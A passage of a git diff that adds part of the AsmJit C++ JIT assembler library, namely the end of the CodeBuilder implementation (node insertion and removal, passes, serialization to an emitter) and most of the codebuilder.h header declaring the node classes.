(ASMJIT_UNLIKELY(!node)) { + setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + } + else { + Error err = _code->newNamedLabelId(id, name, nameLength, type, parentId); + if (ASMJIT_UNLIKELY(err)) + setLastError(err); + else + id = node->getId(); + } + } + + return Label(id); +} + +Error CodeBuilder::bind(const Label& label) { + if (_lastError) return _lastError; + + CBLabel* node; + Error err = getCBLabel(&node, label); + if (ASMJIT_UNLIKELY(err)) + return setLastError(err); + + addNode(node); + return kErrorOk; +} + +Error CodeBuilder::align(uint32_t mode, uint32_t alignment) { + if (_lastError) return _lastError; + + CBAlign* node = newAlignNode(mode, alignment); + if (ASMJIT_UNLIKELY(!node)) + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + + addNode(node); + return kErrorOk; +} + +Error CodeBuilder::embed(const void* data, uint32_t size) { + if (_lastError) return _lastError; + + CBData* node = newDataNode(data, size); + if (ASMJIT_UNLIKELY(!node)) + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + + addNode(node); + return kErrorOk; +} + +Error CodeBuilder::embedLabel(const Label& label) { + if (_lastError) return _lastError; + + CBLabelData* node = newNodeT(label.getId()); + if (ASMJIT_UNLIKELY(!node)) + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + + addNode(node); + return kErrorOk; +} + +Error CodeBuilder::embedConstPool(const Label& label, const ConstPool& pool) { + if (_lastError) return _lastError; + + if (!isLabelValid(label)) + return setLastError(DebugUtils::errored(kErrorInvalidLabel)); + + ASMJIT_PROPAGATE(align(kAlignData, static_cast(pool.getAlignment()))); + ASMJIT_PROPAGATE(bind(label)); + + CBData* node = newDataNode(nullptr, static_cast(pool.getSize())); + if (ASMJIT_UNLIKELY(!node)) + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + + pool.fill(node->getData()); + addNode(node); + return kErrorOk; +} + +Error CodeBuilder::comment(const char* s, size_t len) { + if (_lastError) return _lastError; + + CBComment* node = newCommentNode(s, len); + if (ASMJIT_UNLIKELY(!node)) + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + + addNode(node); + return kErrorOk; +} + +// ============================================================================ +// [asmjit::CodeBuilder - Node-Management] +// ============================================================================ + +CBNode* CodeBuilder::addNode(CBNode* node) noexcept { + ASMJIT_ASSERT(node); + ASMJIT_ASSERT(node->_prev == nullptr); + ASMJIT_ASSERT(node->_next == nullptr); + + if (!_cursor) { + if (!_firstNode) { + _firstNode = node; + _lastNode = node; + } + else { + node->_next = _firstNode; + _firstNode->_prev = node; + _firstNode = node; + } + } + else { + CBNode* prev = _cursor; + CBNode* next = _cursor->_next; + + node->_prev = prev; + node->_next = next; + + prev->_next = node; + if (next) + next->_prev = node; + else + _lastNode = node; + } + + _cursor = node; + return node; +} + +CBNode* CodeBuilder::addAfter(CBNode* node, CBNode* ref) noexcept { + ASMJIT_ASSERT(node); + ASMJIT_ASSERT(ref); + + ASMJIT_ASSERT(node->_prev == nullptr); + ASMJIT_ASSERT(node->_next == nullptr); + + CBNode* prev = ref; + CBNode* next = ref->_next; + + node->_prev = prev; + node->_next = next; + + prev->_next = node; + if (next) + next->_prev = node; + else + _lastNode = node; + + return node; +} + +CBNode* CodeBuilder::addBefore(CBNode* node, CBNode* ref) noexcept { + ASMJIT_ASSERT(node != nullptr); + ASMJIT_ASSERT(node->_prev == nullptr); + ASMJIT_ASSERT(node->_next == nullptr); + ASMJIT_ASSERT(ref != nullptr); + + CBNode* prev = ref->_prev; + CBNode* next = ref; + + node->_prev = prev; + node->_next = next; + + next->_prev = node; + if (prev) + prev->_next = node; + else + _firstNode = node; + + return node; +} + +static ASMJIT_INLINE void CodeBuilder_nodeRemoved(CodeBuilder* self, CBNode* node_) noexcept { + if (node_->isJmpOrJcc()) { + CBJump* node = static_cast(node_); + CBLabel* label = node->getTarget(); + + if (label) { + // Disconnect. + CBJump** pPrev = &label->_from; + for (;;) { + ASMJIT_ASSERT(*pPrev != nullptr); + + CBJump* current = *pPrev; + if (!current) break; + + if (current == node) { + *pPrev = node->_jumpNext; + break; + } + + pPrev = ¤t->_jumpNext; + } + + label->subNumRefs(); + } + } +} + +CBNode* CodeBuilder::removeNode(CBNode* node) noexcept { + CBNode* prev = node->_prev; + CBNode* next = node->_next; + + if (_firstNode == node) + _firstNode = next; + else + prev->_next = next; + + if (_lastNode == node) + _lastNode = prev; + else + next->_prev = prev; + + node->_prev = nullptr; + node->_next = nullptr; + + if (_cursor == node) + _cursor = prev; + CodeBuilder_nodeRemoved(this, node); + + return node; +} + +void CodeBuilder::removeNodes(CBNode* first, CBNode* last) noexcept { + if (first == last) { + removeNode(first); + return; + } + + CBNode* prev = first->_prev; + CBNode* next = last->_next; + + if (_firstNode == first) + _firstNode = next; + else + prev->_next = next; + + if (_lastNode == last) + _lastNode = prev; + else + next->_prev = prev; + + CBNode* node = first; + for (;;) { + CBNode* next = node->getNext(); + ASMJIT_ASSERT(next != nullptr); + + node->_prev = nullptr; + node->_next = nullptr; + + if (_cursor == node) + _cursor = prev; + CodeBuilder_nodeRemoved(this, node); + + if (node == last) + break; + node = next; + } +} + +CBNode* CodeBuilder::setCursor(CBNode* node) noexcept { + CBNode* old = _cursor; + _cursor = node; + return old; +} + +// ============================================================================ +// [asmjit::CodeBuilder - Passes] +// ============================================================================ + +ASMJIT_FAVOR_SIZE CBPass* CodeBuilder::getPassByName(const char* name) const noexcept { + for (size_t i = 0, len = _cbPasses.getLength(); i < len; i++) { + CBPass* pass = _cbPasses[i]; + if (::strcmp(pass->getName(), name) == 0) + return pass; + } + + return nullptr; +} + +ASMJIT_FAVOR_SIZE Error CodeBuilder::addPass(CBPass* pass) noexcept { + if (ASMJIT_UNLIKELY(pass == nullptr)) { + // Since this is directly called by `addPassT()` we treat `null` argument + // as out-of-memory condition. Otherwise it would be API misuse. + return DebugUtils::errored(kErrorNoHeapMemory); + } + else if (ASMJIT_UNLIKELY(pass->_cb)) { + // Kind of weird, but okay... + if (pass->_cb == this) + return kErrorOk; + return DebugUtils::errored(kErrorInvalidState); + } + + ASMJIT_PROPAGATE(_cbPasses.append(&_cbHeap, pass)); + pass->_cb = this; + return kErrorOk; +} + +ASMJIT_FAVOR_SIZE Error CodeBuilder::deletePass(CBPass* pass) noexcept { + if (ASMJIT_UNLIKELY(pass == nullptr)) + return DebugUtils::errored(kErrorInvalidArgument); + + if (pass->_cb != nullptr) { + if (pass->_cb != this) + return DebugUtils::errored(kErrorInvalidState); + + size_t index = _cbPasses.indexOf(pass); + ASMJIT_ASSERT(index != Globals::kInvalidIndex); + + pass->_cb = nullptr; + _cbPasses.removeAt(index); + } + + pass->~CBPass(); + return kErrorOk; +} + +// ============================================================================ +// [asmjit::CodeBuilder - Serialization] +// ============================================================================ + +Error CodeBuilder::serialize(CodeEmitter* dst) { + Error err = kErrorOk; + CBNode* node_ = getFirstNode(); + + do { + dst->setInlineComment(node_->getInlineComment()); + + switch (node_->getType()) { + case CBNode::kNodeAlign: { + CBAlign* node = static_cast(node_); + err = dst->align(node->getMode(), node->getAlignment()); + break; + } + + case CBNode::kNodeData: { + CBData* node = static_cast(node_); + err = dst->embed(node->getData(), node->getSize()); + break; + } + + case CBNode::kNodeFunc: + case CBNode::kNodeLabel: { + CBLabel* node = static_cast(node_); + err = dst->bind(node->getLabel()); + break; + } + + case CBNode::kNodeLabelData: { + CBLabelData* node = static_cast(node_); + err = dst->embedLabel(node->getLabel()); + break; + } + + case CBNode::kNodeConstPool: { + CBConstPool* node = static_cast(node_); + err = dst->embedConstPool(node->getLabel(), node->getConstPool()); + break; + } + + case CBNode::kNodeInst: + case CBNode::kNodeFuncCall: { + CBInst* node = node_->as(); + dst->setOptions(node->getOptions()); + dst->setExtraReg(node->getExtraReg()); + err = dst->emitOpArray(node->getInstId(), node->getOpArray(), node->getOpCount()); + break; + } + + case CBNode::kNodeComment: { + CBComment* node = static_cast(node_); + err = dst->comment(node->getInlineComment()); + break; + } + + default: + break; + } + + if (err) break; + node_ = node_->getNext(); + } while (node_); + + return err; +} + +// ============================================================================ +// [asmjit::CBPass] +// ============================================================================ + +CBPass::CBPass(const char* name) noexcept + : _cb(nullptr), + _name(name) {} +CBPass::~CBPass() noexcept {} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // !ASMJIT_DISABLE_BUILDER diff --git a/asmjit/src/asmjit/base/codebuilder.h b/asmjit/src/asmjit/base/codebuilder.h new file mode 100644 index 0000000..231dd84 --- /dev/null +++ b/asmjit/src/asmjit/base/codebuilder.h @@ -0,0 +1,915 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_CODEBUILDER_H +#define _ASMJIT_BASE_CODEBUILDER_H + +#include "../asmjit_build.h" +#if !defined(ASMJIT_DISABLE_BUILDER) + +// [Dependencies] +#include "../base/assembler.h" +#include "../base/codeholder.h" +#include "../base/constpool.h" +#include "../base/inst.h" +#include "../base/operand.h" +#include "../base/utils.h" +#include "../base/zone.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [Forward Declarations] +// ============================================================================ + +class CBNode; +class CBPass; + +class CBAlign; +class CBComment; +class CBConstPool; +class CBData; +class CBInst; +class CBJump; +class CBLabel; +class CBLabelData; +class CBSentinel; + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::CodeBuilder] +// ============================================================================ + +class ASMJIT_VIRTAPI CodeBuilder : public CodeEmitter { +public: + ASMJIT_NONCOPYABLE(CodeBuilder) + typedef CodeEmitter Base; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CodeBuilder` instance. + ASMJIT_API CodeBuilder() noexcept; + //! Destroy the `CodeBuilder` instance. + ASMJIT_API virtual ~CodeBuilder() noexcept; + + // -------------------------------------------------------------------------- + // [Events] + // -------------------------------------------------------------------------- + + ASMJIT_API virtual Error onAttach(CodeHolder* code) noexcept override; + ASMJIT_API virtual Error onDetach(CodeHolder* code) noexcept override; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get a vector of CBPass objects that will be executed by `process()`. + ASMJIT_INLINE const ZoneVector& getPasses() const noexcept { return _cbPasses; } + + //! Get a vector of CBLabel nodes. + //! + //! NOTE: If a label of some index is not associated with `CodeBuilder` it + //! would be null, so always check for nulls if you iterate over the vector. + ASMJIT_INLINE const ZoneVector& getLabels() const noexcept { return _cbLabels; } + + //! Get the first node. + ASMJIT_INLINE CBNode* getFirstNode() const noexcept { return _firstNode; } + //! Get the last node. + ASMJIT_INLINE CBNode* getLastNode() const noexcept { return _lastNode; } + + // -------------------------------------------------------------------------- + // [Node-Management] + // -------------------------------------------------------------------------- + + //! \internal + template + ASMJIT_INLINE T* newNodeT() noexcept { return new(_cbHeap.alloc(sizeof(T))) T(this); } + + //! \internal + template + ASMJIT_INLINE T* newNodeT(P0 p0) noexcept { return new(_cbHeap.alloc(sizeof(T))) T(this, p0); } + + //! \internal + template + ASMJIT_INLINE T* newNodeT(P0 p0, P1 p1) noexcept { return new(_cbHeap.alloc(sizeof(T))) T(this, p0, p1); } + + //! \internal + template + ASMJIT_INLINE T* newNodeT(P0 p0, P1 p1, P2 p2) noexcept { return new(_cbHeap.alloc(sizeof(T))) T(this, p0, p1, p2); } + + ASMJIT_API Error registerLabelNode(CBLabel* node) noexcept; + //! Get `CBLabel` by `id`. + ASMJIT_API Error getCBLabel(CBLabel** pOut, uint32_t id) noexcept; + //! Get `CBLabel` by `label`. + ASMJIT_INLINE Error getCBLabel(CBLabel** pOut, const Label& label) noexcept { return getCBLabel(pOut, label.getId()); } + + //! Create a new \ref CBLabel node. + ASMJIT_API CBLabel* newLabelNode() noexcept; + //! Create a new \ref CBAlign node. + ASMJIT_API CBAlign* newAlignNode(uint32_t mode, uint32_t alignment) noexcept; + //! Create a new \ref CBData node. + ASMJIT_API CBData* newDataNode(const void* data, uint32_t size) noexcept; + //! Create a new \ref CBConstPool node. + ASMJIT_API CBConstPool* newConstPool() noexcept; + //! Create a new \ref CBComment node. + ASMJIT_API CBComment* newCommentNode(const char* s, size_t len) noexcept; + + // -------------------------------------------------------------------------- + // [Code-Emitter] + // -------------------------------------------------------------------------- + + ASMJIT_API virtual Label newLabel() override; + ASMJIT_API virtual Label newNamedLabel(const char* name, size_t nameLength = Globals::kInvalidIndex, uint32_t type = Label::kTypeGlobal, uint32_t parentId = kInvalidValue) override; + ASMJIT_API virtual Error bind(const Label& label) override; + ASMJIT_API virtual Error align(uint32_t mode, uint32_t alignment) override; + ASMJIT_API virtual Error embed(const void* data, uint32_t size) override; + ASMJIT_API virtual Error embedLabel(const Label& label) override; + ASMJIT_API virtual Error embedConstPool(const Label& label, const ConstPool& pool) override; + ASMJIT_API virtual Error comment(const char* s, size_t len = Globals::kInvalidIndex) override; + + // -------------------------------------------------------------------------- + // [Node-Management] + // -------------------------------------------------------------------------- + + //! Add `node` after the current and set current to `node`. + ASMJIT_API CBNode* addNode(CBNode* node) noexcept; + //! Insert `node` after `ref`. + ASMJIT_API CBNode* addAfter(CBNode* node, CBNode* ref) noexcept; + //! Insert `node` before `ref`. + ASMJIT_API CBNode* addBefore(CBNode* node, CBNode* ref) noexcept; + //! Remove `node`. + ASMJIT_API CBNode* removeNode(CBNode* node) noexcept; + //! Remove multiple nodes. + ASMJIT_API void removeNodes(CBNode* first, CBNode* last) noexcept; + + //! Get current node. + //! + //! \note If this method returns null it means that nothing has been + //! emitted yet. + ASMJIT_INLINE CBNode* getCursor() const noexcept { return _cursor; } + //! Set the current node without returning the previous node. + ASMJIT_INLINE void _setCursor(CBNode* node) noexcept { _cursor = node; } + //! Set the current node to `node` and return the previous one. + ASMJIT_API CBNode* setCursor(CBNode* node) noexcept; + + // -------------------------------------------------------------------------- + // [Passes] + // -------------------------------------------------------------------------- + + template + ASMJIT_INLINE T* newPassT() noexcept { return new(_cbBaseZone.alloc(sizeof(T))) T(); } + template + ASMJIT_INLINE T* newPassT(P0 p0) noexcept { return new(_cbBaseZone.alloc(sizeof(T))) T(p0); } + template + ASMJIT_INLINE T* newPassT(P0 p0, P1 p1) noexcept { return new(_cbBaseZone.alloc(sizeof(T))) T(p0, p1); } + + template + ASMJIT_INLINE Error addPassT() noexcept { return addPass(newPassT()); } + template + ASMJIT_INLINE Error addPassT(P0 p0) noexcept { return addPass(newPassT(p0)); } + template + ASMJIT_INLINE Error addPassT(P0 p0, P1 p1) noexcept { return addPass(newPassT(p0, p1)); } + + //! Get a `CBPass` by name. + ASMJIT_API CBPass* getPassByName(const char* name) const noexcept; + //! Add `pass` to the list of passes. + ASMJIT_API Error addPass(CBPass* pass) noexcept; + //! Remove `pass` from the list of passes and delete it. + ASMJIT_API Error deletePass(CBPass* pass) noexcept; + + // -------------------------------------------------------------------------- + // [Serialization] + // -------------------------------------------------------------------------- + + ASMJIT_API virtual Error serialize(CodeEmitter* dst); + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Zone _cbBaseZone; //!< Base zone used to allocate nodes and `CBPass`. + Zone _cbDataZone; //!< Data zone used to allocate data and names. + Zone _cbPassZone; //!< Zone passed to `CBPass::process()`. + ZoneHeap _cbHeap; //!< ZoneHeap that uses `_cbBaseZone`. + + ZoneVector _cbPasses; //!< Array of `CBPass` objects. + ZoneVector _cbLabels; //!< Maps label indexes to `CBLabel` nodes. + + CBNode* _firstNode; //!< First node of the current section. + CBNode* _lastNode; //!< Last node of the current section. + CBNode* _cursor; //!< Current node (cursor). + + uint32_t _position; //!< Flow-id assigned to each new node. + uint32_t _nodeFlags; //!< Flags assigned to each new node. +}; + +// ============================================================================ +// [asmjit::CBPass] +// ============================================================================ + +//! `CodeBuilder` pass used to code transformations, analysis, and lowering. +class ASMJIT_VIRTAPI CBPass { +public: + ASMJIT_NONCOPYABLE(CBPass); + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_API CBPass(const char* name) noexcept; + ASMJIT_API virtual ~CBPass() noexcept; + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + //! Process the code stored in CodeBuffer `cb`. + //! + //! This is the only function that is called by the `CodeBuilder` to process + //! the code. It passes the CodeBuilder itself (`cb`) and also a zone memory + //! allocator `zone`, which will be reset after the `process()` returns. The + //! allocator should be used for all allocations as it's fast and everything + //! it allocates will be released at once when `process()` returns. + virtual Error process(Zone* zone) noexcept = 0; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE const CodeBuilder* cb() const noexcept { return _cb; } + ASMJIT_INLINE const char* getName() const noexcept { return _name; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CodeBuilder* _cb; //!< CodeBuilder this pass is assigned to. + const char* _name; //!< Name of the pass. +}; + +// ============================================================================ +// [asmjit::CBNode] +// ============================================================================ + +//! Node (CodeBuilder). +//! +//! Every node represents a building-block used by \ref CodeBuilder. It can be +//! instruction, data, label, comment, directive, or any other high-level +//! representation that can be transformed to the building blocks mentioned. +//! Every class that inherits \ref CodeBuilder can define its own nodes that it +//! can lower to basic nodes. +class CBNode { +public: + ASMJIT_NONCOPYABLE(CBNode) + + // -------------------------------------------------------------------------- + // [Type] + // -------------------------------------------------------------------------- + + //! Type of \ref CBNode. + ASMJIT_ENUM(NodeType) { + kNodeNone = 0, //!< Invalid node (internal, don't use). + + // [CodeBuilder] + kNodeInst = 1, //!< Node is \ref CBInst or \ref CBJump. + kNodeData = 2, //!< Node is \ref CBData. + kNodeAlign = 3, //!< Node is \ref CBAlign. + kNodeLabel = 4, //!< Node is \ref CBLabel. + kNodeLabelData = 5, //!< Node is \ref CBLabelData. + kNodeConstPool = 6, //!< Node is \ref CBConstPool. + kNodeComment = 7, //!< Node is \ref CBComment. + kNodeSentinel = 8, //!< Node is \ref CBSentinel. + + // [CodeCompiler] + kNodeFunc = 16, //!< Node is \ref CCFunc (considered as \ref CBLabel by \ref CodeBuilder). + kNodeFuncExit = 17, //!< Node is \ref CCFuncRet. + kNodeFuncCall = 18, //!< Node is \ref CCFuncCall. + kNodePushArg = 19, //!< Node is \ref CCPushArg. + kNodeHint = 20, //!< Node is \ref CCHint. + + // [UserDefined] + kNodeUser = 32 //!< First id of a user-defined node. + }; + + // -------------------------------------------------------------------------- + // [Flags] + // -------------------------------------------------------------------------- + + ASMJIT_ENUM(Flags) { + //! The node has been translated by the CodeCompiler. + kFlagIsTranslated = 0x0001, + //! If the node can be safely removed (has no effect). + kFlagIsRemovable = 0x0004, + //! If the node is informative only and can be safely removed. + kFlagIsInformative = 0x0008, + + //! If the `CBInst` is a jump. + kFlagIsJmp = 0x0010, + //! If the `CBInst` is a conditional jump. + kFlagIsJcc = 0x0020, + + //! If the `CBInst` is an unconditional jump or conditional jump that is + //! likely to be taken. + kFlagIsTaken = 0x0040, + + //! If the `CBNode` will return from a function. + //! + //! This flag is used by both `CBSentinel` and `CCFuncRet`. + kFlagIsRet = 0x0080, + + //! Whether the instruction is special. + kFlagIsSpecial = 0x0100, + + //! Whether the instruction is an FPU instruction. + kFlagIsFp = 0x0200 + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new \ref CBNode - always use \ref CodeBuilder to allocate nodes. + ASMJIT_INLINE CBNode(CodeBuilder* cb, uint32_t type) noexcept { + _prev = nullptr; + _next = nullptr; + _type = static_cast(type); + _opCount = 0; + _flags = static_cast(cb->_nodeFlags); + _position = cb->_position; + _inlineComment = nullptr; + _passData = nullptr; + } + //! Destroy the `CBNode` instance (NEVER CALLED). + ASMJIT_INLINE ~CBNode() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + template + ASMJIT_INLINE T* as() noexcept { return static_cast(this); } + template + ASMJIT_INLINE const T* as() const noexcept { return static_cast(this); } + + //! Get previous node in the compiler stream. + ASMJIT_INLINE CBNode* getPrev() const noexcept { return _prev; } + //! Get next node in the compiler stream. + ASMJIT_INLINE CBNode* getNext() const noexcept { return _next; } + + //! Get the node type, see \ref Type. + ASMJIT_INLINE uint32_t getType() const noexcept { return _type; } + //! Get the node flags. + ASMJIT_INLINE uint32_t getFlags() const noexcept { return _flags; } + + //! Get whether the instruction has flag `flag`. + ASMJIT_INLINE bool hasFlag(uint32_t flag) const noexcept { return (static_cast(_flags) & flag) != 0; } + //! Set node flags to `flags`. + ASMJIT_INLINE void setFlags(uint32_t flags) noexcept { _flags = static_cast(flags); } + //! Add instruction `flags`. + ASMJIT_INLINE void orFlags(uint32_t flags) noexcept { _flags |= static_cast(flags); } + //! And instruction `flags`. + ASMJIT_INLINE void andFlags(uint32_t flags) noexcept { _flags &= static_cast(flags); } + //! Clear instruction `flags`. + ASMJIT_INLINE void andNotFlags(uint32_t flags) noexcept { _flags &= ~static_cast(flags); } + + //! Get whether the node has been translated. + ASMJIT_INLINE bool isTranslated() const noexcept { return hasFlag(kFlagIsTranslated); } + + //! Get whether the node is removable if it's in unreachable code block. + ASMJIT_INLINE bool isRemovable() const noexcept { return hasFlag(kFlagIsRemovable); } + //! Get whether the node is informative only (comment, hint). + ASMJIT_INLINE bool isInformative() const noexcept { return hasFlag(kFlagIsInformative); } + + //! Whether the node is `CBLabel`. + ASMJIT_INLINE bool isLabel() const noexcept { return _type == kNodeLabel; } + //! Whether the `CBInst` node is an unconditional jump. + ASMJIT_INLINE bool isJmp() const noexcept { return hasFlag(kFlagIsJmp); } + //! Whether the `CBInst` node is a conditional jump. + ASMJIT_INLINE bool isJcc() const noexcept { return hasFlag(kFlagIsJcc); } + //! Whether the `CBInst` node is a conditional/unconditional jump. + ASMJIT_INLINE bool isJmpOrJcc() const noexcept { return hasFlag(kFlagIsJmp | kFlagIsJcc); } + //! Whether the `CBInst` node is a return. + ASMJIT_INLINE bool isRet() const noexcept { return hasFlag(kFlagIsRet); } + + //! Get whether the node is `CBInst` and the instruction is special. + ASMJIT_INLINE bool isSpecial() const noexcept { return hasFlag(kFlagIsSpecial); } + //! Get whether the node is `CBInst` and the instruction uses x87-FPU. + ASMJIT_INLINE bool isFp() const noexcept { return hasFlag(kFlagIsFp); } + + ASMJIT_INLINE bool hasPosition() const noexcept { return _position != 0; } + //! Get flow index. + ASMJIT_INLINE uint32_t getPosition() const noexcept { return _position; } + //! Set flow index. + ASMJIT_INLINE void setPosition(uint32_t position) noexcept { _position = position; } + + //! Get if the node has an inline comment. + ASMJIT_INLINE bool hasInlineComment() const noexcept { return _inlineComment != nullptr; } + //! Get an inline comment string. + ASMJIT_INLINE const char* getInlineComment() const noexcept { return _inlineComment; } + //! Set an inline comment string to `s`. + ASMJIT_INLINE void setInlineComment(const char* s) noexcept { _inlineComment = s; } + //! Set an inline comment string to null. + ASMJIT_INLINE void resetInlineComment() noexcept { _inlineComment = nullptr; } + + //! Get if the node has associated work-data. + ASMJIT_INLINE bool hasPassData() const noexcept { return _passData != nullptr; } + //! Get work-data - data used during processing & transformations. + template + ASMJIT_INLINE T* getPassData() const noexcept { return (T*)_passData; } + //! Set work-data to `data`. + template + ASMJIT_INLINE void setPassData(T* data) noexcept { _passData = (void*)data; } + //! Reset work-data to null. + ASMJIT_INLINE void resetPassData() noexcept { _passData = nullptr; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CBNode* _prev; //!< Previous node. + CBNode* _next; //!< Next node. + + uint8_t _type; //!< Node type, see \ref NodeType. + uint8_t _opCount; //!< Count of operands or zero. + uint16_t _flags; //!< Flags, different meaning for every type of the node. + uint32_t _position; //!< Flow index. + + const char* _inlineComment; //!< Inline comment or null if not used. + void* _passData; //!< Data used exclusively by the current `CBPass`. +}; + +// ============================================================================ +// [asmjit::CBInst] +// ============================================================================ + +//! Instruction (CodeBuilder). +//! +//! Wraps an instruction with its options and operands. +class CBInst : public CBNode { +public: + ASMJIT_NONCOPYABLE(CBInst) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBInst` instance. + ASMJIT_INLINE CBInst(CodeBuilder* cb, uint32_t instId, uint32_t options, Operand* opArray, uint32_t opCount) noexcept + : CBNode(cb, kNodeInst) { + + orFlags(kFlagIsRemovable); + _instDetail.instId = static_cast(instId); + _instDetail.options = options; + + _opCount = static_cast(opCount); + _opArray = opArray; + + _updateMemOp(); + } + + //! Destroy the `CBInst` instance (NEVER CALLED). + ASMJIT_INLINE ~CBInst() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE Inst::Detail& getInstDetail() noexcept { return _instDetail; } + ASMJIT_INLINE const Inst::Detail& getInstDetail() const noexcept { return _instDetail; } + + //! Get the instruction id, see \ref Inst::Id. + ASMJIT_INLINE uint32_t getInstId() const noexcept { return _instDetail.instId; } + //! Set the instruction id to `instId`, see \ref Inst::Id. + ASMJIT_INLINE void setInstId(uint32_t instId) noexcept { _instDetail.instId = instId; } + + //! Whether the instruction is either a jump or a conditional jump likely to be taken. + ASMJIT_INLINE bool isTaken() const noexcept { return hasFlag(kFlagIsTaken); } + + //! Get emit options. + ASMJIT_INLINE uint32_t getOptions() const noexcept { return _instDetail.options; } + //! Set emit options. + ASMJIT_INLINE void setOptions(uint32_t options) noexcept { _instDetail.options = options; } + //! Add emit options. + ASMJIT_INLINE void addOptions(uint32_t options) noexcept { _instDetail.options |= options; } + //! Mask emit options. + ASMJIT_INLINE void andOptions(uint32_t options) noexcept { _instDetail.options &= options; } + //! Clear emit options. + ASMJIT_INLINE void delOptions(uint32_t options) noexcept { _instDetail.options &= ~options; } + + //! Get if the node has an extra register operand. + ASMJIT_INLINE bool hasExtraReg() const noexcept { return _instDetail.hasExtraReg(); } + //! Get extra register operand. + ASMJIT_INLINE RegOnly& getExtraReg() noexcept { return _instDetail.extraReg; } + //! \overload + ASMJIT_INLINE const RegOnly& getExtraReg() const noexcept { return _instDetail.extraReg; } + //! Set extra register operand to `reg`. + ASMJIT_INLINE void setExtraReg(const Reg& reg) noexcept { _instDetail.extraReg.init(reg); } + //! Set extra register operand to `reg`. + ASMJIT_INLINE void setExtraReg(const RegOnly& reg) noexcept { _instDetail.extraReg.init(reg); } + //! Reset extra register operand. + ASMJIT_INLINE void resetExtraReg() noexcept { _instDetail.extraReg.reset(); } + + //! Get operands count. + ASMJIT_INLINE uint32_t getOpCount() const noexcept { return _opCount; } + //! Get operands list. + ASMJIT_INLINE Operand* getOpArray() noexcept { return _opArray; } + //! \overload + ASMJIT_INLINE const Operand* getOpArray() const noexcept { return _opArray; } + + //! Get whether the instruction contains a memory operand. + ASMJIT_INLINE bool hasMemOp() const noexcept { return _memOpIndex != 0xFF; } + //! Get memory operand. + //! + //! NOTE: Can only be called if the instruction has such operand, + //! see `hasMemOp()`. + ASMJIT_INLINE Mem* getMemOp() const noexcept { + ASMJIT_ASSERT(hasMemOp()); + return static_cast(&_opArray[_memOpIndex]); + } + //! \overload + template + ASMJIT_INLINE T* getMemOp() const noexcept { + ASMJIT_ASSERT(hasMemOp()); + return static_cast(&_opArray[_memOpIndex]); + } + + //! Set memory operand index, `0xFF` means no memory operand. + ASMJIT_INLINE void setMemOpIndex(uint32_t index) noexcept { _memOpIndex = static_cast(index); } + //! Reset memory operand index to `0xFF` (no operand). + ASMJIT_INLINE void resetMemOpIndex() noexcept { _memOpIndex = 0xFF; } + + // -------------------------------------------------------------------------- + // [Utils] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void _updateMemOp() noexcept { + Operand* opArray = getOpArray(); + uint32_t opCount = getOpCount(); + + uint32_t i; + for (i = 0; i < opCount; i++) + if (opArray[i].isMem()) + goto Update; + i = 0xFF; + +Update: + setMemOpIndex(i); + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Inst::Detail _instDetail; //!< Instruction id, options, and extra register. + uint8_t _memOpIndex; //!< \internal + uint8_t _reserved[7]; //!< \internal + Operand* _opArray; //!< Instruction operands. +}; + +// ============================================================================ +// [asmjit::CBInstEx] +// ============================================================================ + +struct CBInstEx : public CBInst { + Operand _op4; + Operand _op5; +}; + +// ============================================================================ +// [asmjit::CBJump] +// ============================================================================ + +//! Asm jump (conditional or direct). +//! +//! Extension of `CBInst` node, which stores more information about the jump. +class CBJump : public CBInst { +public: + ASMJIT_NONCOPYABLE(CBJump) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE CBJump(CodeBuilder* cb, uint32_t instId, uint32_t options, Operand* opArray, uint32_t opCount) noexcept + : CBInst(cb, instId, options, opArray, opCount), + _target(nullptr), + _jumpNext(nullptr) {} + ASMJIT_INLINE ~CBJump() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE CBLabel* getTarget() const noexcept { return _target; } + ASMJIT_INLINE CBJump* getJumpNext() const noexcept { return _jumpNext; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CBLabel* _target; //!< Target node. + CBJump* _jumpNext; //!< Next jump to the same target in a single linked-list. +}; + +// ============================================================================ +// [asmjit::CBData] +// ============================================================================ + +//! Asm data (CodeBuilder). +//! +//! Wraps `.data` directive. The node contains data that will be placed at the +//! node's position in the assembler stream. The data is considered to be RAW; +//! no analysis nor byte-order conversion is performed on RAW data. +class CBData : public CBNode { +public: + ASMJIT_NONCOPYABLE(CBData) + enum { kInlineBufferSize = 